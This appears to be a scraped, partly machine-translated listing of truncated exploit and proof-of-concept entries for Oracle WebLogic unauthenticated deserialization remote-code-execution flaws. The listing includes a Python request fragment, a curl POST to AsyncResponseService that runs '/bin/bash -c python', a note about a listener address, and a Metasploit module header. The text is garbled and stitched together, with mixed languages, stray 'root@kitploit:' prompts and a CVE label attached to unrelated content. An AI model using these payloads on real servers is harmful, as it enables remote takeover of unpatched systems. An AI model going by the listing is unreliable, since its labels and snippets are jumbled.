CVE-2022-45047

CVE-2022-45047 POC,EXP,chatGPT per me codice root@kitploit: import requests targeturl = "http://127.0.0.1:7001" CVE-2022-45047 def exploitweblogic: headers = "Content-Type": "text/xml", "User-Agent": "Mozilla/5.0 Windows NT 10.0; Win64; x64; rv:93.0 Gecko/20100101 Firefox/93.0", "Accept-Encoding"...

Exploit-CVE-2019-2725

Exploit-CVE-2019-2725 Un semplice exploit per CVE-2019-2725. Codice di esempio: root@kitploit: curl -X POST https://127.0.0.1/async/AsyncResponseService -H "Content-Type: text/xml" -d ' xx xx /bin/bash -c python -c "import...

CNVD-C-2019-48814-CNNVD-201904-961

CNVD-C-2019-48814 und CNNVD-201904-961 Dank an t00ls-ximcx0101 für die Bereitstellung des Skripts CNVD-C-2019-48814 POC Summary Relevante Links: Jianshu-Beitrag von 清水川崎: https://www.jianshu.com/p/c4982a845f55 Weiterleitung von 安全祖师爷: https://dwz.cn/2GQvbUae Aufgrund einiger Umgebungsfaktoren...

CNVD-C-2019-48814

CNVD-C-2019-48814 WebLogic wls9-async: vulnerabilità di esecuzione remota di comandi tramite deserializzazione PoC con echo per WebLogic Aggiornamento della patch: root@kitploit: https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html Riproduzione della vulnerabilità...

Oracle-Weblogic-Server-AsyncResponseService-Deserialization-Remote-Code-Execution-CVE-2019-2725

CVE-2019-2725 – Oracle WebLogic Unathentifizierte Remote-Code-Ausführung Sicherheitslücke in der Komponente Oracle WebLogic Server von Oracle Fusion Middleware Unterkomponente: Web Services. Betroffen sind die Versionen 10.3.6.0.0 und 12.1.3.0.0. Eine leicht ausnutzbare Sicherheitslücke ermöglich...

CVE-2019-2725

POC-EXP Dieses Skript richtet sich gegen die CVE-2019-2725 weblogic Deserialization RCE-Schwachstelle. Vor der Verwendung bitte die VPS-Listening-Adresse ändern und während der Ausführung die spezifische URL eingeben, um den Test durchzuführen. Testadresse:...

Oracle Weblogic Server - 'AsyncResponseService' Deserialization Remote Code Execution (Metasploit)

This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework class MetasploitModule 'Oracle Weblogic Server Deserialization RCE - AsyncResponseService ', 'Description' = %q An unauthenticated attacker with network access to the...

Oracle Weblogic Server Deserialization RCE - AsyncResponseService

An unauthenticated attacker with network access to the Oracle Weblogic Server T3 interface can send a malicious SOAP request to the interface WLS AsyncResponseService to execute code on the vulnerable host. Module Options msf use exploit/multi/misc/weblogic/deserializeasyncresponseservice msf...

CVE-2017-10271 - Oracle WebLogic Server AsyncResponseService Deserialization Vulnerability

Vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware subcomponent: WLS Security. Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3 to...